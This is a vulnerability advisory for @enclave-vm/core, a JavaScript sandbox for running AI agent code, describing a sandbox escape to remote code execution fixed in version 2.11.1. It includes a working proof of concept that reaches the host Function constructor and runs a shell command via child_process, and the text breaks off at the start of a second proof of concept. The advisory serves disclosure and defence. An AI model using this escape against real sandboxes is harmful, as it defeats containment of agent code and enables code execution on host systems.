Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.

Affected: npm: @enclave-vm/core

## Summary

It is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE).

The issue has been fixed in version **2.11.1**.

---

## Details

It is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox.

When a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor.

When this is not the case, a host reference can be obtained via Node's `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`).

---

## Proof of Concept

### PoC 1

```js const { Enclave } = require("@enclave-vm/core");

const enclave = new Enclave({ securityLevel: "SECURE", toolHandler: () => {}, });

const result = enclave.run(` const op = {}[["__proto__"]]; const ho = op[["constructor"]];

const glob = ho.getOwnPropertyDescriptors(this);

return { res: glob.__host_memory_track__.value[["constructor"]]("return process")() .getBuiltinModule("child_process") .execSync("id") .toString() .split("\\n"), };`);

result .then((v) => console.log("success", v)) .catch((e) => console.log("failure", e)); ```

---

### PoC 2

```js const { Enclave } = require("@enclave-vm/core");

const enclave = new Enclave({…